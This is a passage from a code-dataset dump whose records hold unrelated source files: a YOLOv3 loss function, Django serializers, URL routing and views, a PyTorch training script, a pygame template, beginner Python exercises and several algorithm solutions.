df\n","sub_path":"scripts/common_scripts.py","file_name":"common_scripts.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228860806","text":"import pylab as pl\r\nimport random\r\nimport numpy as np\r\n\r\nn=101 #n为步数,即时间\r\na=20.0 #容器为a乘a的\r\nc=4.0\r\npnumber=4\r\nm=pnumber**2 #一共有m个粒子分布在c乘c的初始位置\r\n\r\n\r\ndef run():\r\n xy=[[[i%pnumber*1.0/pnumber*c-c/2.0],[i/pnumber*1.0/pnumber*c-c/2.0]] for i in range(m)]\r\n \r\n pl.subplot(2,2,1)\r\n pl.title('Steps(=time)=0')\r\n pl.xlim(-a/2,a/2)\r\n pl.ylim(-a/2,a/2)\r\n pl.xlabel(\"x\")\r\n pl.ylabel(\"y\")\r\n for j in range(m):\r\n pl.plot(xy[j][0][-1],xy[j][1][-1],'.')\r\n\r\n\r\n for i in range(1,n):\r\n for j in range(m): \r\n k=random.choice([0,1]) #随机选择运动方向\r\n plus=random.uniform(-1,1) #随机选择运动距离\r\n if not -a/2<=xy[j][k][-1]+plus=iou_thresh的 认为该网格的该anchor框框中了物体 即有正样本\r\n # (num_anchors*grid_size*grid_size)\r\n ious = IOU(anchors, bbox_annotation, formatting='xcycwh')\r\n\r\n # ious_max是每个anchor框对应的一堆gt框中iou最大的 ious_argmax是每个anchor框对应的最匹配的gt框的id\r\n ious_max, ious_argmax = ious.max(dim=1)\r\n\r\n # 置信度损失 置信度损失作者在论文使用交叉熵在代码使用mse\r\n # https://zhuanlan.zhihu.com/p/142408168\r\n # 找到每个anchor对应的gt框的id后 得到每个anchor框对应的gt框预测向量\r\n\r\n gt_confidence = FloatTensor(confidence.shape).fill_(0)\r\n # iou大于阈值的认为有正样本\r\n positive_indices = ious_max.ge(iou_thresh)\r\n num_positive_anchors = positive_indices.sum()\r\n # 匹配到正样本的anchor框\r\n # 下面是一种神奇的广播用法\r\n # 假设ious_argmax[0]=2代表第0个anchor框匹配到了第2个gt框\r\n # assigned_annotations=bbox_annotation[ious_argmax[0],:]=bbox_annotation[2,:]就是第2个gt框的预测向量\r\n # (num_anchors*grid_size*grid_size,5)\r\n assigned_annotations = bbox_annotation[ious_argmax, :]\r\n\r\n gt_confidence[positive_indices, 0] = 1\r\n #降低负样本对置信度损失的影响\r\n # noobj = 0.5 原文0.5\r\n noobj = 0.1\r\n #平衡损失函数 回归的损失项比较小\r\n coord = 5.\r\n if positive_indices.sum() <= 0:\r\n mse_conf_obj = torch.tensor(0.).to(device)\r\n else:\r\n mse_conf_obj = mse_criterion(confidence[positive_indices, :], gt_confidence[positive_indices, :])\r\n mse_conf_noobj = mse_criterion(confidence[~positive_indices, :], gt_confidence[~positive_indices, :])\r\n conf_loss = mse_conf_obj.sum() + mse_conf_noobj.sum() * noobj\r\n confidence_losses.append(conf_loss)\r\n\r\n # if positive_indices.sum() > 1:\r\n # print()\r\n # 计算定位损失和分类损失\r\n if positive_indices.sum() <= 0:\r\n # regression_losses.append(torch.tensor(0.).to(device))\r\n regression_losses_x.append(torch.tensor(0.).to(device))\r\n regression_losses_y.append(torch.tensor(0.).to(device))\r\n regression_losses_w.append(torch.tensor(0.).to(device))\r\n regression_losses_h.append(torch.tensor(0.).to(device))\r\n classification_losses.append(torch.tensor(0.).to(device))\r\n else:\r\n # yolov3使用多个二分类 bce损失\r\n # 正样本的gt分类设置为1 正样本的gt其他分类设置0 负样本所有分类设置为0\r\n # 分类预测向量为(num_anchors*grid_size*grid*size,num_classes)\r\n # 如果使用ce loss 就相当于有num_anchors*grid_size*grid*size个多分类器\r\n # 如果使用bce loss 就相当于有num_anchors*grid_size*grid*size*num_classes个二分类器\r\n # 只将有正样本的网格的num_classes个二分类器中真实分类设置为1 每个正样本的预测分类相当于有num_classes-1个二分类器是0\r\n # 负样本的num_classes个二分类器对应的gt值全部设置为0\r\n gt_classification = FloatTensor(classification.shape).fill_(0) #设置的gt框的向量不需要梯度\r\n gt_classification[positive_indices, assigned_annotations[positive_indices, 4].long()] = 1\r\n # 对有正样本的二分类器计算bce\r\n # 手动实现 之后focal loss好改\r\n # bce_cls = -(gt_classification * torch.log(classification) +\r\n # (1. - gt_classification) * torch.log(1. - classification))\r\n #但是像下面这么写会显存炸掉 如果positive_indices全是false torch.log(classification[positive_indices, :])和各种计算函数的结果会是nan导致炸显存\r\n # bce_cls = -(gt_classification[positive_indices, :] * torch.log(classification[positive_indices, :]) +\r\n # (1. - gt_classification[positive_indices, :]) * torch.log(1. - classification[positive_indices, :]))\r\n #接口实现 预测框在前 gt框在后 gt框不许有梯度\r\n bce_cls = bce_criterion(classification[positive_indices, :], gt_classification[positive_indices, :])\r\n cls_loss = bce_cls.sum()\r\n classification_losses.append(cls_loss / torch.clamp(num_positive_anchors.to(device), min=1.0))\r\n\r\n gt_ctr_x = assigned_annotations[positive_indices, 0] / stride\r\n gt_ctr_y = assigned_annotations[positive_indices, 1] / stride\r\n #scaled_anchor_w*e^(tw)*stride预测gt_w\r\n #log(gt_w/(stride*scaled_anchor_w))对应tw 括号里的a_w是cfg里写的anchor大小\r\n #在此处stride*scaled_anchor_w=anchor_w\r\n gt_w = torch.clamp(assigned_annotations[positive_indices, 2], min=1) / stride\r\n gt_h = torch.clamp(assigned_annotations[positive_indices, 3], min=1) / stride\r\n\r\n #https://www.jianshu.com/p/86b8208f634f\r\n tx = regression[positive_indices, 0]\r\n ty = regression[positive_indices, 1]\r\n tw = regression[positive_indices, 2]\r\n th = regression[positive_indices, 3]\r\n sigmoid_tx = torch.sigmoid(tx)\r\n sigmoid_ty = torch.sigmoid(ty)\r\n\r\n anchor_ctr_x = anchors[positive_indices, 0] / stride\r\n anchor_ctr_y = anchors[positive_indices, 1] / stride\r\n anchor_w = anchors[positive_indices, 2] / stride\r\n anchor_h = anchors[positive_indices, 3] / stride\r\n\r\n #gt框的偏移量\r\n sigmoid_tx_gt = gt_ctr_x - anchor_ctr_x\r\n sigmoid_ty_gt = gt_ctr_y - anchor_ctr_y\r\n tw_gt = torch.log(gt_w / anchor_w + 1e-16)\r\n th_gt = torch.log(gt_h / anchor_h + 1e-16)\r\n #用下面的代码可以验证从(num_anchors, grid_size, grid_size,4/5)展\r\n #开到(num_anchors*grid_size*grid_size,4/5)的过程中元素还是正确的对应着\r\n # regression = regression.view(num_anchors, grid_size, grid_size, 5)\r\n # assigned_annotations = assigned_annotations.view(num_anchors, grid_size, grid_size, 5)\r\n # anchors = anchors.view(num_anchors, grid_size, grid_size, 4)\r\n # positive_indices = positive_indices.view(num_anchors, grid_size, grid_size)\r\n\r\n #为了使得框的大小对损失的影响减小 v3在回归损失前加上了(2-tw_gt*th_gt) v1用的是对tw_gt和th_gt开根号\r\n param = 2. - tw_gt.abs() * th_gt.abs()\r\n # param = 1.\r\n reg_x_loss = (mse_criterion(sigmoid_tx, sigmoid_tx_gt)).sum()\r\n reg_y_loss = (mse_criterion(sigmoid_ty, sigmoid_ty_gt)).sum()\r\n reg_w_loss = (param * mse_criterion(tw, tw_gt)).sum()\r\n reg_h_loss = (param * mse_criterion(th, th_gt)).sum()\r\n\r\n # reg_loss = (reg_x_loss + reg_y_loss + reg_w_loss + reg_h_loss).sum() * coord\r\n\r\n # regression_losses.append(reg_loss)\r\n regression_losses_x.append(reg_x_loss / torch.clamp(num_positive_anchors.to(device), min=1.0))\r\n regression_losses_y.append(reg_y_loss / torch.clamp(num_positive_anchors.to(device), min=1.0))\r\n regression_losses_w.append(reg_w_loss / torch.clamp(num_positive_anchors.to(device), min=1.0))\r\n regression_losses_h.append(reg_h_loss / torch.clamp(num_positive_anchors.to(device), min=1.0))\r\n #debug了两天 这里的梯度一直有问题 regression_losses这里 当正样本为0时是直接添加的tensor(0) 这里出了问题\r\n #debug的时候就一个个的试 比如y=regression_losses y.backward() 报错就说明是regression_losses的问题\r\n #然后顺着regression_losses往回试找到问题所在\r\n #判断有没有问题的依据是1不报错2对这个张量backward()后 网络的叶子节点的梯度被计算出来 比如model.module_list[0][0].weight.grad\r\n # y=torch.stack(regression_losses).mean(dim=0, keepdim=True).sum()\r\n # y.backward()\r\n # return torch.stack(classification_losses).mean(dim=0, keepdim=True),\\\r\n # torch.stack(regression_losses).mean(dim=0, keepdim=True),\\\r\n # torch.stack(confidence_losses).mean(dim=0, keepdim=True)\r\n return torch.stack(classification_losses).mean(dim=0, keepdim=True),\\\r\n torch.stack(regression_losses_x).mean(dim=0, keepdim=True),\\\r\n torch.stack(regression_losses_y).mean(dim=0, keepdim=True),\\\r\n torch.stack(regression_losses_w).mean(dim=0, keepdim=True),\\\r\n torch.stack(regression_losses_h).mean(dim=0, keepdim=True),\\\r\n torch.stack(confidence_losses).mean(dim=0, keepdim=True)","sub_path":"losses/yolov3_loss.py","file_name":"yolov3_loss.py","file_ext":"py","file_size_in_byte":12870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"111876565","text":"###############################\n #Position Class\n###############################\n# Keeps track of the current position of the lexer\n\nclass Position:\n def __init__(self, index, line, column):\n self.index = index #overall position on the file ( position from starting point )\n self.line = line #current line\n self.column = column #current column on that line\n\n # Advance of a position, if end of the line, go to new line\n def advance(self, current_char):\n\n self.index += 1\n\n if current_char == '\\n':\n self.line += 1\n self.column = 0\n else:\n self.column += 1\n","sub_path":"position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"423529876","text":"\n# coding: utf-8\n\n'''\n\n本文件功能为导入数据集。\n输入为文件夹路径,输出为所有图片路径列表img_paths及其对应的标签列表labels。\nget_file1: 图片按类别存放在不同的文件夹。\nget_files2:文件夹中直接包含所有图像,每个图像有对应的.txt文件。\n.txt文件中存放图像文件名及对应的标签,以逗号 , 隔开。\n'''\nimport os\nfrom glob import glob\n\ndef get_files1(folder_dir):\n img_paths = []\n labels = []\n for cls in os.listdir(folder_dir):\n for img_name in os.listdir(folder_dir + cls):\n img_path = os.path.join(folder_dir + cls + '/' + img_name)\n img_paths.append(img_path)\n labels.append(int(cls))\n return img_paths,labels\n\ndef get_files2(folder_dir):\n label_files = glob(os.path.join(folder_dir, '*.txt'))\n img_paths = []\n labels = []\n for index, file_path in enumerate(label_files):\n with open(file_path, 'r') as f:\n line = f.readline()\n line_split = line.strip().split(', ')\n if len(line_split) != 2:\n print('%s contain error lable' % os.path.basename(file_path))\n continue\n img_name = line_split[0]\n label = int(line_split[1])\n img_paths.append(os.path.join(folder_dir, img_name))\n labels.append(label)\n return img_paths,labels","sub_path":"deployment/get_files.py","file_name":"get_files.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"525404243","text":"from rest_framework import serializers\n\nfrom .models import Personnel, PersonnelAccount, PersonnelMerit, PersonnelEnlistment, Rank, Division, Generation, Merit\n\nclass RankSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Rank\n fields = ('name', 'description', 'texture_uuid')\n\nclass DivisionSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Division\n fields = ('name', 'description', 'texture_uuid')\n\nclass GenerationSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Generation\n fields = ('name', 'description', 'texture_uuid')\n\nclass MeritSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Merit\n fields = ('name', 'description', 'texture_uuid')\n\nclass PersonnelSerializer(serializers.HyperlinkedModelSerializer):\n rank = RankSerializer(read_only=True)\n division = DivisionSerializer(read_only=True)\n accounts = serializers.SlugRelatedField(\n many=True,\n read_only=True,\n slug_field='username'\n )\n enlistments = serializers.StringRelatedField(\n many=True,\n read_only=True\n )\n\n class Meta:\n model = Personnel\n fields = ('pid', 'is_active', 'rank', 'division', 'accounts', 'enlistments')\n\nclass PersonnelEnlistmentSerializer(serializers.HyperlinkedModelSerializer):\n pid = serializers.SlugRelatedField(\n slug_field='pid',\n queryset = Personnel.objects.all()\n )\n generation = GenerationSerializer(read_only=True)\n\n class Meta:\n model = PersonnelEnlistment\n fields = ('id', 'pid', 'enlistment', 'generation')\n\nclass PersonnelAccountSerializer(serializers.HyperlinkedModelSerializer):\n pid = PersonnelSerializer(read_only=True)\n\n class Meta:\n model = PersonnelAccount\n fields = ('pid', 'UUID', 'username', 'display_name', 'is_main')\n\nclass PersonnelMeritSerializer(serializers.HyperlinkedModelSerializer):\n pid = PersonnelSerializer(read_only=True)\n merit = MeritSerializer(read_only=True)\n\n class Meta:\n model = PersonnelMerit\n fields = ('pid', 'merit', 'acquired', 'description')\n","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"552227460","text":"l1 = []\nch = 'y'\nprint(\"WELCOME TO MADHURA WINES \")\nwhile(ch == 'y'):\n \n w_b =str(input(\"enter your favourate brand: \"))\n l1.append(w_b)\n ch =str(input(\" you want one more favourate brand then enter (y/n): \"))\nprint(\"your order is \",l1)\nc = str(input(\"do you want to modify your order(y/n) : \"))\nif(c == 'y'):\n print(\"1. add a new brand\")\n print(\"2. modify the brand\")\n print(\"3. remove the brand\")\n s = int(input(\"select above one option: \"))\n if(s == 1 ):\n \tw_b =str(input(\"enter your new favourate brand: \"))\n \tl1.append(w_b)\n \trint(\"your order is \",l1)\n elif(s == 2 ):\n m =int(input(\"enter your modify item no : \"))\n r =str(input(\"enter your new brand : \")) \n l1[m-1] = r\n print(\"your new order is \",l1)\n elif(s == 3):\n m = input(\" which brand no you want remove :\")\n l1.remove(m)\n print(\"your new order is : \",l1)\nprint(\"thank you sir \")\n","sub_path":"music/media/songs/wine.py","file_name":"wine.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"184705140","text":"import unittest, sys, json\nsys.path.insert(0, '..')\nfrom dashwithtables import app\n\nclass DashTablesTestCase(unittest.TestCase):\n response = app.serve_layout()\n raw = response.data\n str = raw.decode()\n children = json.loads(str)['props']['children']\n\n def test_dash_dropdown(self):\n self.assertEqual(self.response.status_code, 200)\n options = [{'label': 'Country', 'value': 'Country'}, {'label': 'Pho', 'value': 'Pho'}, {'label': 'Ramen', 'value': 'Ramen'}, {'label': 'Soba', 'value': 'Soba'}]\n self.assertEqual(self.children[0]['props']['options'], options)\n self.assertEqual(self.children[0]['props']['value'], 'Country')\n self.assertEqual(self.children[0]['type'], 'Dropdown')\n\n def test_dash_h3(self):\n title = 'Interest in Pho, Ramen, and Soba by Country according to Google Search from 01/2004 - 06/2018'\n self.assertEqual(self.children[1]['props']['children'], title)\n self.assertEqual(self.children[1]['type'], 'H3')\n\n def test_callback(self):\n container = app.callback_map\n callback = container['table-container.children']['callback']\n response = callback('Ramen')\n str = response.data.decode()\n data = json.loads(str)\n\n headers = data['response']['props']['children']['props']['children'][0]['props']['children']\n headers_list = [el['props']['children'] for el in headers]\n result = ['Country', 'Pho', 'Ramen', 'Soba']\n self.assertEqual(headers_list, result)\n\n order = data['response']['props']['children']['props']['children'][1:]\n ordered_countries = [el['props']['children'][0]['props']['children'] for el in order]\n correct = ['India', 'Canada', 'France', 'Australia', 'Russia', 'United States', 'United Kingdom', 'Germany', 'Poland', 'Netherlands', 'South Korea', 'China', 'Brazil', 'Thailand', 'Malaysia', 'Japan', 'Indonesia', 'Italy', 'Mexico', 'Singapore', 'Spain', 'Hong Kong', 'Philippines', 'Taiwan']\n self.assertEqual(ordered_countries, correct)\n","sub_path":"test/test_test.py","file_name":"test_test.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"29654303","text":"# Output\nprint(\"Hello World\") # programmer rite of passage\nprint(\"Hello \" + \"World\") # concatenation: mind the space\nprint('3.1415926 is pi') # strings can basically have any character\nprint(\"Hello\", \"World\") # multiple arguments\nprint() # print empty line\n\n# Comments\n# Add comments to increase your code's readability\n# It's good programming style!\n\"\"\"\nMulti\nline\ncomments!\n\"\"\"\n\n'''\nMulti\nline\ncomments!\n'''\n\n# Variables\nmy_name = \"Rebecca Dang\"\nfavorite_tv_show = \"Agents of SHIELD\"\n\nprint(my_name + \" like \" + favorite_tv_show)\n\n# constants\nDAYS_PER_WEEK = 7\n\n# arithmetic operators\nx = 5\nx = x - 2\nx = x * 3\nx = x / 4 # \"regular\" division\nx = x ** 5\nx = x // 6 # floor division (NOT integer division, but similar)\nx = x % 10 # modulus\n\n# augmented assignment operators\nx = 5\nx -= 2\nx *= 3\nx /= 4\nx **= 5\nx //= 6\nx %= 10\n\n# Input\ncolor = input(\"What's your favorite color? \")\nprint(color)\n\nage = input(\"Enter your age: \")\nprint(age)\nprint(age + 5) # oh no! concat!\nprint(int(age) + 5) # recommend just converting right away to avoid errors\n# explain diff data types: str, int, float, bool\n# other conversion functions: str(), float(), bool()\n","sub_path":"examples/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"85841381","text":"import os\nimport random\nimport argparse\nimport warnings\nimport numpy as np\nimport copy\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader, random_split\nfrom torchvision import models\n\nfrom utils.dataset import AwASet\nfrom utils.train import train, test\n\n\nwarnings.filterwarnings('ignore', category=UserWarning)\n\n\ndef parse() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--root_folder', type=str, default='./Dataset')\n parser.add_argument('--batch_size', type=int, default=16)\n parser.add_argument('--epochs', type=int, default=10)\n parser.add_argument('--lr', type=float, default=1e-5)\n parser.add_argument('--device', type=str, default='cuda')\n parser.add_argument('--checkpoint', type=str, default='checkpoint')\n parser.add_argument('--model', type=str, default='vgg16')\n parser.add_argument('--load_target', type=str, default=None)\n parser.add_argument('--train_target', action='store_true')\n\n args = parser.parse_args()\n\n print('=' * 100)\n for key, value in vars(args).items():\n print(f'{key}: {value}')\n print('=' * 100)\n\n return args\n\n\nif __name__ == '__main__':\n seed = 0\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n cudnn.benchmark = False\n cudnn.deterministic = True\n torch.cuda.manual_seed_all(seed)\n\n args = parse()\n\n if not os.path.exists(f'{args.checkpoint}'):\n os.mkdir(f'{args.checkpoint}')\n\n trainset = AwASet(args.root_folder)\n\n ratio = int(len(trainset) * 0.9)\n trainset, testset = random_split(trainset, (ratio, len(trainset) - ratio))\n\n testset.dataset = copy.deepcopy(trainset.dataset)\n\n testset.dataset.__setattr__('train', False)\n\n num_workers = len(os.sched_getaffinity(0))\n trainloader = DataLoader(trainset, batch_size=args.batch_size, num_workers=num_workers, shuffle=True)\n testloader = DataLoader(testset, batch_size=args.batch_size, num_workers=num_workers, shuffle=False)\n\n net = models.vgg16(pretrained=True)\n net.classifier[-1] = nn.Linear(4096, 10)\n\n if args.load_target:\n net = torch.load(args.load_target)\n\n net = net.to(args.device)\n\n print(net)\n exit(1)\n\n optimizer = optim.Adam(net.parameters(), lr=args.lr)\n loss_func = nn.CrossEntropyLoss()\n\n if args.train_target:\n train(args, trainloader, testloader, net, optimizer, loss_func)\n\n test(args, testloader, net, loss_func)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"524918853","text":"import pygame\n\n# Define some colors\nblack\t= (0, 0, 0)\nwhite\t= (255, 255, 255)\ngreen\t= (0, 255, 0)\nred\t= (255, 0, 0)\nblue\t= (0, 0, 255)\n\n# Initialize the game engine\npygame.init()\n\n# Set the height and width of the screen\nwidth\t= 640\nheight\t= 480\nsize \t= [width, height]\nscreen \t= pygame.display.set_mode(size)\n\npygame.display.set_caption(\"Title\")\n\n# Loop until the user clicks the close button\ndone = False\n\nclock = pygame.time.Clock()\n\nfps = 60\n\n# ----- Main Program Loop -----\nwhile not done:\n\t# For everything the user does\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tdone = True\n\n\t# Set the screen background\n\tscreen.fill(black)\n\n\t# ----- Begin Drawing Something -----\n\n\t# ----- End Drawing Something -----\n\n\t# Limit to fps frames per second\n\tclock.tick(fps)\n\n\t# Update the screen with what's been drawn\n\tpygame.display.flip()\n\n# Exit.\npygame.quit()\n","sub_path":"pygame_base_template.py","file_name":"pygame_base_template.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"369834151","text":"\"\"\"mysite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.conf.urls import url, include\nfrom django.views.generic.base import TemplateView\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n#from fireapi.resources import FileResource\nfrom smsapi.resources import SmsResource\nfrom smsapi.resources import CreditResource\n\n\n#file_resource = FileResource()\nsms_resource = SmsResource()\ncredit_resource = CreditResource()\n\nurlpatterns = [\n url(r'^$', TemplateView.as_view(template_name='home.html'), name='home'),\n url(r'^admin/', admin.site.urls),\n url('accounts/', include('django.contrib.auth.urls')),\n url('users/', include('accounts.urls')),\n url('accounts/', include('accounts.urls')),\n url(r'^smsapi/', include(sms_resource.urls)),\n url(r'^smsapi/', include('smsapi.urls')),\n url(r'^creditapi/', include(credit_resource.urls)),\n url(r'^', include('accounts.urls')),\n ]\n #url(r'^fireapi/', include(file_resource.urls)),\n\n #url('api/', include('smsapi.urls')),\n #url(r'^api-auth/', include('rest_framework.urls'))\n\n\nurlpatterns+= staticfiles_urlpatterns()\n","sub_path":"intelliapi/intelliapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"134020673","text":"from collections import Counter\nclass Solution(object):\n '''\n 思路1:暴力,从窗长len(T)开始往后扫,每次用一个set看T中元素是否都在里面。时间复杂度O(n**2)空间O(n)\n 思路2:滑动窗,当窗里包含了所有的字母后(满足要求了),比较最小长度记下答案后最左边字符出列,右边元素继续遍历入列。需要注意的细节:\n 1) 怎样才是包含了所有字母?必须用字典,每个字母都有而且每个字母的频率大于要求\n 2) 自己写的程序速度和空间都比较差,看了答案可以从两方面优化:\n 1.可以不用队列操作元素入列出列,直接用两个变量l, r代表左右边界,节省空间并加速\n 2.在字典中检查每个字母频率时,每次我用了遍历,可以用一个变量required,其大小表示有多少个字母满足要求了。\n '''\n def minWindow(self, s, t):\n win = []\n tmp_len, res = len(s), ''\n i, d, sorted_t = 0, Counter(t), sorted(t)\n win_d = {}\n for i in range(len(s)):\n if s[i] in d:\n win.append(i)\n win_d[s[i]] = win_d.get(s[i], 0) + 1\n while sum(win_d.get(char,0)>=d[char] for char in d)>=len(d):\n left_idx = win.pop(0)\n win_d[s[left_idx]] = 0 if win_d[s[left_idx]]==0 else win_d[s[left_idx]]-1\n if i - left_idx + 1 <= tmp_len:\n tmp_len = i - left_idx + 1\n res = s[left_idx:i+1]\n return res\n","sub_path":"array/SlidingWindow/76-MinimumWindowSubstring.py","file_name":"76-MinimumWindowSubstring.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"146387735","text":"from __future__ import unicode_literals\nfrom django.conf import settings\nfrom django.core.exceptions import PermissionDenied\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.views.generic import DetailView\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.shortcuts import redirect, resolve_url\nfrom django.views.generic import ListView\n\nfrom django_tables2.views import SingleTableMixin\nfrom django_filters.views import BaseFilterView\nfrom urllib import parse\n\n\nimport itertools\n\n\nclass KernelDispachMixin(object):\n can_action = False\n\n def dispatch(self, request, *args, **kwargs):\n if self.can_action:\n if not self.can_action(request):\n if not request.user.is_authenticated():\n response = redirect(settings.LOGIN_URL)\n response['Location'] += '?next={}'.format(self.request.path)\n return response\n raise PermissionDenied\n return super(KernelDispachMixin, self).dispatch(request, *args, **kwargs)\n\n def get_template_names(self):\n names = super().get_template_names()\n names.append(\"{0}/{1}/{1}{2}.html\" .format(self.model._meta.app_label, self.model._meta.model_name, self.template_name_suffix))\n return names\n\n\n\nclass KernelBaseMixin(object):\n pass\n\n\nclass KernelViewSetMixin(KernelBaseMixin):\n\n @staticmethod\n def create_class_form(_cls, _form_class=False, _form_valid_message='', _parents=[], **_kwargs):\n parents = list(itertools.chain([KernelDispachMixin, CreateView, ], _parents))\n\n class Create(*parents):\n model = _cls\n can_action = _cls.can_action_create\n success_url = reverse_lazy('%s:%s_list' % (_cls.get_namespace(), str(_cls.__name__).lower()))\n form_valid_message = _form_valid_message\n\n if _cls.get_modelform_class():\n form_class = _cls.get_modelform_class()\n else:\n fields = _cls.list_fields()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, value in _kwargs.items():\n self.__dict__[key] = value\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['class'] = _cls\n return context\n\n return Create\n\n @staticmethod\n def update_class_form(_cls, _form_class=False, _form_valid_message='', _parents=[], **_kwargs):\n _form_class = _form_class if _form_class else _cls.get_modelform_class()\n parents = list(itertools.chain([KernelDispachMixin, UpdateView, ], _parents))\n\n class Update(*parents):\n model = _cls\n form_valid_message = _form_valid_message\n can_action = _cls.can_action_update\n if _form_class:\n form_class = _cls.get_modelform_class()\n else:\n fields = _cls.list_fields()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, value in _kwargs.items():\n self.__dict__[key] = value\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n form = self.get_form()\n if form.is_valid():\n return self.form_valid(form)\n else:\n return self.form_invalid(form)\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n if not self.object.can_object_action_update():\n raise PermissionDenied\n return super().get(request, *args, **kwargs)\n\n return Update\n\n @staticmethod\n def list_class(_cls, _parents=None, _context={}, **_kwargs):\n parents = list(itertools.chain(\n [] if _parents is None else _parents, [KernelDispachMixin, BaseFilterView, SingleTableMixin, ListView])\n )\n\n class KernelList(*parents):\n can_action = _cls.can_action_view_list\n table_class = _cls.table_class()\n paginate_by = 200\n model = _cls\n queryset = _cls.lazy_queryset() if getattr(_cls, 'lazy_queryset', None) else _cls.objects.select_related()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, value in _kwargs.items():\n self.__dict__[key] = value\n\n def get_filterset_class(self):\n return _cls.filter_class()\n\n def get_table_data(self):\n return self.get_filterset_class()(self.request.GET, queryset=self.get_queryset())\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n table = self.get_table()\n table.hide_fields = ['', ]\n table.requests = self.request.GET\n table_cookie = self.request.COOKIES.get(str(self.request.path).replace('/', ''))\n if table_cookie:\n table.hide_fields = eval(parse.unquote(table_cookie))\n context[self.get_context_table_name(table)] = table\n context['status'] = self.kwargs.get('status', False)\n context['model'] = _cls._meta.verbose_name\n list(map(lambda item: context.setdefault(item[0], item[1](self) if callable(item[1]) else item[1]), _context.items()))\n return context\n return KernelList\n\n @staticmethod\n def detail_class(_cls, _parents=[], _context={}, **_kwargs):\n parents = list(itertools.chain([] if _parents is None else _parents, [KernelDispachMixin, DetailView]))\n\n class KernelDetail(*parents):\n model = _cls\n queryset = _cls.lazy_queryset() if getattr(_cls, 'lazy_queryset', None) else _cls.objects.select_related()\n can_action = _cls.can_action_view_detail\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, value in _kwargs.items():\n self.__dict__[key] = value\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['model'] = context.get('object')._meta.verbose_name\n list(map(lambda item: context.setdefault(item[0], item[1](self) if callable(item[1]) else item[1]), _context.items()))\n return context\n return KernelDetail\n","sub_path":"kernel/views/kernel.py","file_name":"kernel.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"279608926","text":"\"\"\"\n1104. Path In Zigzag Labelled Binary Tree (Easy)\n\nIn an infinite binary tree where every node has two children, the nodes are labelled in row order.\n\nIn the odd numbered rows (ie., the first, third, fifth,...), the labelling is left to right, while in the even numbered rows (second, fourth, sixth,...), the labelling is right to left.\n\nGiven the label of a node in this tree, return the labels in the path from the root of the tree to the node with that label.\n\nExample 1:\n\nInput: label = 14\nOutput: [1,3,4,14]\nExample 2:\n\nInput: label = 26\nOutput: [1,2,6,10,26]\n \n\nConstraints:\n\n1 <= label <= 10^6\n\"\"\"\n\nimport math\n\nclass Solution(object):\n def pathInZigZagTree(self, label):\n \"\"\"\n :type label: int\n :rtype: List[int]\n \"\"\"\n n = int(math.ceil(math.log(label + 0.99, 2)))\n 